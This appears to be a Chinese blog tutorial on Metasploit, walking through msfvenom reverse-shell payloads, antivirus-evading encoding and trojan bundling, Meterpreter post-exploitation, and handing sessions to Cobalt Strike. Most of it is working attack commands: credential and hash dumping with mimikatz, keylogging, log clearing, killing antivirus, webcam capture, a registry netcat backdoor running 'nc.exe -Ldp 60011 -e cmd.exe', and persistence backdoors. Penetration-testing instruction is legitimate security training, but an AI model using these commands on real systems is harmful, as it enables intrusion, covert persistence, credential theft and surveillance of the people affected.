欢迎光临散文网 会员登陆 & 注册

Metasploit基础与应用

2023-06-22 09:26 作者:北京老李2023  | 我要投稿



Metasploit使用的数据库是posetpresql,在msf5之前启动的话需要安装数据库格式化数据库,设置用户和密码去进行连接,而在msf5之后不需要在这样操作,只需在kali的命令行中使用msfdb init就可以初始化并开启msf的数据库,然后在输入msfconsole就可以启动msf,进入之后我们可以使用db_status来进行查看连接数据库的状态。除此在外我们还可以使用kage实现界面话。

1.msf目录结构

kali当中默认安装,文件路径是在/usr/share/metasploit-framework/中,在该目录下有以下几个比较重要的文件夹:

kotlin复制代码data:目录当中是msf当中一些可编辑的文件,如字典 

documentation:文档目录是对工具的介绍 

external:源代码和第三方库 lib:(静态链接库)目录:里边是msf的代码 

modules:模块目录装,有msf当中的exp,payload等内容 

plugins:可加载的插件 

scriptsmeterpreter和其它脚本 

tools:各种命令行工具

其中modules模块包含有msf的核心文件

bash复制代码auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击 

encoders  #码器模块 

evasion   #简单的反杀模块 

exploits  #渗透攻击模块 

nops      #空指令模块 

payloads  #漏洞负载模块

2. msf的使用

MSF使用永恒之蓝漏洞


2.1 msf基础使用命令:

sql复制代码show 模块名:进行罗列模块 

search 模块关键字:搜索关键字(一般都是我们查找某个漏洞的exp时会使用search进行搜索关键词) 出现的开头为Auxiliary的模块为扫描模块,

exploit为执行任务模块 

use 模块名:使用该模块 

back:返回上一级 

info:在使用模块之后可以使用info来查看模块信息,查看的话主要查看这一部分 

show options(显示的是info当中的一部分):查看模块配置 去设置回显当中required的配置 

set:使用set命令来设置required当中需要配置的信息 设置之后我们在使用show options之后我们可以看到rhosts已经变成了我们设置后的值 

exploit:来执行 

jobs:查看后台工作 

kill 工作ID号:杀死进程

2.2 msf扫描脚本

在下方目录下是扫描脚本

/usr/share/metasploit-framework/modules/auxiliary/scanner/

bash复制代码use auxiliary/scanner/discovery/arp_sweep     利用arp协议进行发现主机 use auxiliary/scanner/discovery/udp_sweep     可以回显我们存活主机的计算机名,用户 use auxiliary/scanner/portscan/tcp                     端口扫描模块 use auxiliary/scanner/http/dir_scanner use auxiliary/scanner/http/jboss_vulnscan use auxiliary/scanner/mssql/mssql_login use auxiliary/scanner/mysql/mysql_version use auxiliary/scanner/oracle/oracle_login

3. msfvenom

msfvenommsfpayloadmsfencode的组合,它用于生成有效载荷(payload)并进行编码

kali当中直接输入msfvenom就可以直接运行msfvenom

参考:www.cyberpratibha.com/blog/msfven…

3.1 msfvenom使用:

1、msfvenom常用参数及说明

lua复制代码MsfVenom - msf独立有效载荷生成器,也是msfpayloadmsfencode的替代品用法: msfvenom [options] <var=val>示例: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe 常用可用参数:    -l, --list          列出所有模块,可指定payload,encoders, nops, platforms, archs, encrypt, formats  示例:msfvenom -l payload       -p, --payload       指定payload        --list-options  查看指定的payload支持什么平台、有哪些选项可以设置                                    msfvenom -p windows/meterpreter/reverse_tcp --list-options    -f, --format        指定输出payload的格式,示例 -f exe     -e, --encoder       指定要使用的编码器,示例:-e sx86/shikata_ga_nai    -o, --out           将生成的有效载荷保存到指定文件中    -b, --bad-chars     要避免的坏字符 示例:-b '\x00\xff'     -n, --nopsled       将指定大小的nopled添加到有效载荷上    -s, --space         指定产生有效载荷的最大值,就是生成的文件大小    -i, --iterations    指定对有效载荷的编码次数,一般不要超过20    -c, --add-code      指定一个附加的win32 shellcode文件    -a, <x64/x86>                指定架构,一般需要先使用-platform检查msf中的可用平台    -x                  指定一个文件,将pauload添加进去【用于木马捆绑】,示例:-x puttyel.exe    -k          该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上    -platform           查看msf中的可用平台  示例:msfvenom -l platforms    -h, --help          帮助信息

payload有两种类型:bind类型(正向)和reverse类型(反向)

bind类型:即正向连接,一般使用在目标机器处于内网当中,不能直接连通外网,也不能通过其他机器进行连接,此时就需要目标机器通过正向的payload打开一个端口,让攻击者去连接目标机器打开的这个端口,从而建立通信。

reverse类型:即反向连接,指的是攻击者的机器上打开了一个端口,在目标机器上运行反向payload来连接攻击机的端口,从而用于连接,常用于边线服务器的上线。【大多数情况下用tcp协议的payload

2、msfvenom构造payload【基本使用】

windows下:

ini复制代码msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.132kali地址】 LPORT=4444   -f exe >1.exe

linux下:

bash复制代码msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.132 LPORT=4444 -f elf>1.elf

在生成payload之后我们在msf当中使用时一般注重一下的步骤:

bash复制代码use exploit/multi/handler 【使用监听模块】 set payload windows/x64/meterpreter_reverse_tcp 【设置的payload必须和msfvenom当中生的payload是同一个模块】 set lhost 192.168.10.132【因为使用的是reverse模板,这里设置攻击机的ip,用于监听shell连接】 set lport 4444【因为使用的是reverse模板,这里设置攻击机的port,用于监听shell连接】 exploit -j -j为后台运行】

msfvenom生成的payload上传至目标机器并运行,然后我们就可以获取一个shell,如果是后台运行,通过sessions -l 可以查看后台的shell

3、msfvenom进阶

(1)指定编码,指定编码次数

msfvenom --list encoders:查看msfvenom自带的编码器,可以看到x86/shikata_ga_nai编码器是评级为x86里面唯一excellent的,所以也是编码中使用最多的

bash复制代码msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai  -i 15 - f exe -o mazi.exe

(2)木马捆绑

bash复制代码msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai -x puttyel.exe -i 15 - f exe -o puttyel_master.exe

4.Meterprete

4.1 Meterprete基础操作:

1、基本命令

vbnet复制代码background:在进入到Meterprete中之后我们可以使用此命令返回到msf当中 sessions -l:查看所有会话信息 sessions -i 会话ID号:与指定的会话进行交互 quit / exit:关闭当前会话 idletime:查看目标服务器空闲时间 shell:进入对方的windows终端行,可以执行一些windows下的命令,如果出现乱码我们可以使用chcp 编码代表字母 命令来改变编码方式

65001 UTF-8代码页

950繁体中文

936简体中文默认的GBK

437 MS-DOS美国英语

makefile复制代码timestomp:伪造时间信息

timestomp -v C:/phpStudy/manual.chm #查看时间戳

timestomp C://2.txt -f C://1.txt #1.txt的时间戳复制给2.txt

makefile复制代码getsystem:尝试提权方式 clearev:清除windows中的应用程序日志、系统日志、安全日志,需要system权限,清理后会有一个日志清除记录

2、文件系统命令

makefile复制代码search: 查找执行文件

search -f 1.txt

search -f *.exe

bash复制代码pwd | getwd:查看目标当前目录的位置 ls:列出目标当前目录下的文件 cd:切换目标机的执行目录 rm:删除目标机指定文件 mkdir:在目标机创建目录(只能在当前目录下创建文件夹) rmdir:删除目标机指定目录(只能删除当前目录下的文件夹) getlwd  | lpwd:查看本地(攻击机)的当前目录(msf的目录) lcd:切换本地(攻击机)的执行目录 lls:列出本地(攻击机)当前目录下的文件 download 文件名:将目标文件下载到本地 upload 文件名:上传本地目录到目标主机

3、网络命令

makefile复制代码ipconfig / ifconfig:查看网络接口信息 netstat -ano:查看端口连接信息 route:显示路由信息 netstat:查看网络连接情况 arp:查看arp信息 getproxy:查看代理信息 portfwd 端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口 rdesktop 127.0.0.1:6666 #kali远程桌面使用6666端口

arduino复制代码run autoroute 路由相关

run autoroute -s 10.0.0.0/24 添加路由

run autoroute -s 10.0.0.0 -n 255.0.0.0 -s 参数为网关 -n 参数为只掩码

run autoroute -p 查看路由

添加路由实战案例:

meterpreter > run autoroute -s 192.168.105.0 -n 255.255.255.0 #目标机的网关和掩码

msf6 > use auxiliary/server/socks_proxy #msf6使用sock5代理

msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1 #设置代理地址,一般设置攻击机本机

msf6 auxiliary(server/socks_proxy) > set srvport 60010 #设置一个可用的端口

#设置proxychains使用即可

vim /etc/proxychains.conf

#将最后一行改为自己添加的路由信息如 socks5 127.0.0.1 60010

内网渗透

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机

run post/windows/gather/enum_computers:枚举我们域内的主机

4、系统命令

lua复制代码execute :在目标执行命令的功能,可使用execute -h来获取参数帮助

execute -H -i -f cmd.exe #创建新进程cmd.exe-H不可见,-i交互 -m参数是在内存中运行

makefile复制代码ps:列出目标进程 getuid:查看当前用户的身份 getprivs:查看当前用户的权限 getpid:查看meterpreter shell进程pid信息 migrate PID:进程迁移(隐蔽我们执行的exe进程或者是获取其他的一些权限,这里需要meterpreter shell的权限要高于等于要迁移的进程权限)

getpid #获取当前进程的pid

ps 查看系统中运行进程

migrate #meterpreter会话迁移到指定的pid进行中

makefile复制代码sysinfo:查看目标信息 kill:杀死目标进程 shutdown:关机 reboot:重启

4.2 后渗透模块使用

1、信息收集

如下为常用且高效的信息收集模块

bash复制代码/usr/share/metasploit-framework/modules/post/windows/gather/usr/share/metasploit-framework/modules/post/linux/gather 解释:msf > run post/windows/gather/checkvm #是否虚拟机msf > run post/linux/gather/checkvm #是否虚拟机msf > run post/windows/gather/forensics/enum_drives   #查看分区msf > run post/windows/gather/enum_applications     #获取安装软件信息msf > run post/windows/gather/dumplinks         #获取最近的文件操作msf > run post/windows/gather/enum_ie          #获取IE缓存msf > run post/windows/gather/enum_chrome     #获取Chrome缓存msf > run post/windows/gather/enum_patches    #补丁信息msf > run post/windows/gather/enum_domain    #查找域控

2、提权

getsystem

sql复制代码1getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。2getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。3Windows服务已启动,导致与命名管道建立连接。4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。

bypassuac

perl复制代码内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如: use exploit/windows/local/bypassuacuse exploit/windows/local/bypassuac_injectionuse windows/local/bypassuac_vbsuse windows/local/ask

示例:

bash复制代码msf > use exploit/windows/local/bypassuacmsf > set SESSION 5      #选择当前会话msf > run

大部分情况下直接使用getsystem是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话后,提权就会相对容易些

3、内核提权

可先利用enum_patches模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接

bash复制代码meterpreter > run post/windows/gather/enum_patches  #查看补丁信息msf > use exploit/windows/....      #利用未打补丁的模块即可msf > set SESSION 5msf > exploit

4、远程桌面&截图

perl复制代码enumdesktops    #查看可用的桌面getdesktop      #获取当前meterpreter 关联的桌面set_desktop     #设置meterpreter关联的桌面  -h查看帮助screenshot      #截屏use espia       #使用espia模块截屏  然后输入screengrabrun vnc      #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了

5、开启rdp&添加用户

getgui :该指令容易添加失败(有火绒时直接失败)

perl复制代码run getgui -e   #开启远程桌面run getgui -u anan -p 123@a.com   #添加用户run getgui -f 63389 –e   #3389端口转发到63389

enable_edp :该指令在有火绒的情况下能够正常添加用户

bash复制代码run post/windows/manage/enable_rdp  #开启远程桌面run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123@a.com #添加用户,需要注意密码复杂度run post/windows/manage/enable_rdp FORWARD=true LPORT=63389  #3389端口转发到63389

6、键盘记录

bash复制代码keyscan_start    #开始键盘记录keyscan_dump     #导出记录数据keyscan_stop   #结束键盘记录

注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了

7、注册表操作

注册表参数说明如下

ini复制代码meterpreter > reg -hUsage: reg [command] [options]Interact with the target machine's registry. OPTIONS: -d <opt>  The data to store in the registry value.#注册表中值的数据-h        Help menu.-k <opt>  The registry key path (E.g. HKLM\Software\Foo).#注册表键路径-r <opt>  The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)-t <opt>  The registry value type (E.g. REG_SZ).#注册表值类型-v <opt>  The registry value name (E.g. Stuff).#注册表键名称-w        Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64 COMMANDS: enumkey  Enumerate the supplied registry key [-k <key>]#枚举可获得的键createkey  Create the supplied registry key  [-k <key>]#创建提供的注册表项deletekey  Delete the supplied registry key  [-k <key>]#删除提供的注册表项queryclass Queries the class of the supplied key [-k <key>]#查询键值数据setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值deleteval  Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容

注册表设置nc后门

bash复制代码upload /root/nc64.exe C://Users//anan//Desktop   #上传nc,前面的是你要上传文件的位置reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run   #枚举run下的keyreg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C://Users//anan//Desktop//nc.exe -Ldp 60011 -e cmd.exe' #设置键值reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc   #查看键值 nc -v 192.168.105.131 60011  #攻击者连接nc后门

8、令牌操作

incognito假冒令牌

bash复制代码use incognito        #进入incognito模式help incognito      #查看帮助list_tokens -u        #查看可用的tokenimpersonate_token 'NT AUTHORITY\SYSTEM'    #假冒SYSTEM token,或者用下面的#impersonate_token NT\ AUTHORITY\\SYSTEM   #不加单引号 需使用\\execute -f cmd.exe -i –t            # -t 使用假冒的token执行或者直接shellrev2self       #返回原始token

steal_token窃取令牌

bash复制代码steal_token <pid>   #从指定进程中窃取token   psdrop_token  #删除窃取的token

这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限

9、关闭杀软

arduino复制代码meterpreter> run killav *//这个脚本要小心使用,可能导致目标机器蓝屏死机*

10、hash抓取

hashdump

hashdump 模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限

arduino复制代码run hashdump

smart_hashdump

smart_hashdump需要系统权限,该功能更强大,可以导出域内所有用户的hash!!

smart_hashdump还可以配合PSExec模块进行哈希攻击

arduino复制代码run windows/gather/smart_hashdump

抓取自动登录用户的密码

arduino复制代码run windows/gather/credentials/windows_autologin

kiwi

kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。

csharp复制代码meterpreter > load  mimikatz   #如果目标是64位的系统,会报如下错误.....[!] Loaded x86 Kiwi on an x64 architecture .....

如果遇到该报错,则迁移进程到一个64位进程上即可

复制代码psmigrate <64位进程pid>

该功能非常强大,kiwi_cmd命令是包含了mimikatz

lua复制代码creds_all:列举所有凭据creds_kerberos:列举所有kerberos凭据creds_msv:列举所有msv凭据creds_ssp:列举所有ssp凭据creds_tspkg:列举所有tspkg凭据creds_wdigest:列举所有wdigest凭据dcsync:通过DCSync检索用户帐户信息dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SIDRIDgolden_ticket_create:创建黄金票据kerberos_ticket_list:列举kerberos票据kerberos_ticket_purge:清除kerberos票据kerberos_ticket_use:使用kerberos票据kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令lsa_dump_samdumplsaSAMlsa_dump_secretsdumplsa的密文password_change:修改密码wifi_list:列出当前用户的wifi配置文件wifi_list_shared:列出共享wifi配置文件/编码

获取明文密码

arduino复制代码kiwi_cmd sekurlsa::logonpasswords

11、后门植入

metasploit自带的后门有两种方式启动的,一种是通过启动项启动persistence,一种是通过服务启动metsvc,另外还可以通过persistence_exe自定义后门文件。

persistence启动项后门

vbnet复制代码OPTIONS:     -A   Automatically start a matching exploit/multi/handler to connect to the agent    -h   帮助信息    -i   每次尝试连接之间的间隔(以秒为单位)    -L   Location in target host to write payload to, if none %TEMP% will be used.    -p   设置Metasploit的监听端口    -P   设置payload,默认值为windows/MeterMeter/reverse_tcp    -r   设置metasploitip(攻击者的ip)    -S   在作为服务启动时自动启动代理(具有system权限)     -T   Alternate executable template to use    -U   设置为用户登录时自动启动    -X   设置为系统启动时自动启动

run persistence –h
run persistence -X -i 5 -p 60012 -r 192.168.0.11

persistence启动项后门的缺点是容易被杀毒软件查杀!建议进行如下操作

C:\Users\anan\AppData\Local\Temp\目录下,上传一个vbs脚本在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项

metsvc服务后门

css复制代码 -A  自动安装后门 -h  帮助 -r  卸载现有的后门(需要手动删除木马文件)

会自动在C:\Users\anan\AppData\Local\Temp...生成三个文件,并把meterpreter自动放在服务自启中

攻击机使用正向连接,并把连接端口设置为31337,进行连接即可

bash复制代码set payload windows/metsvc_bind_tcp   

12、操作目标机模块

bash复制代码run webcam:开启一个摄像头 uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标 uictl disable mouse    #禁用鼠标 uictl disable keyboard  #禁用键盘 uictl enable mouse    #开启鼠标 uictl enable keyboard  #开启键盘 webcam_list     #查看摄像头 webcam_snap     #通过摄像头拍照 webcam_stream   #通过摄像头开启视频

5. Armitage

是一个msf的图形 界面话工具但是非常的卡顿不建议使用,在命令行直接使用armitage可以直接使用.

6.msf与cs互相派生会话

6.1 cs派生会话到msf

1、msf配置

bash复制代码use exploit/multi/handler set payload windows/meterpreter/reverse_http set lhost xxxxxx   (本机ip) set lport xxxx exploit

2、cs配置

添加一个监听器,选择Foreign HTTP,设置ipmsf的监听ip,端口设置为msf监听的端口,起一个名称,如cs->msf

然后命令行(beacon)执行:spawn cs->msf #cs->msf为监听器名称

6.2 msf派生会话到cs

1、cs配置

添加一个监听器,选择Beacon HTTP,然后设置相应的监听ip和监听端口即可

2、msf配置

bash复制代码sessions -l    #查看当前存在的session会话 use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost 192.168.10.13       # 设置cs监听的地址 set lport 60020               # 设置cs监听的端口 set session 1                 # 指定要派生的会话 exploit   #运行后,cs即可看到上线


Metasploit基础与应用的评论 (共 条)

分享到微博请遵守国家法律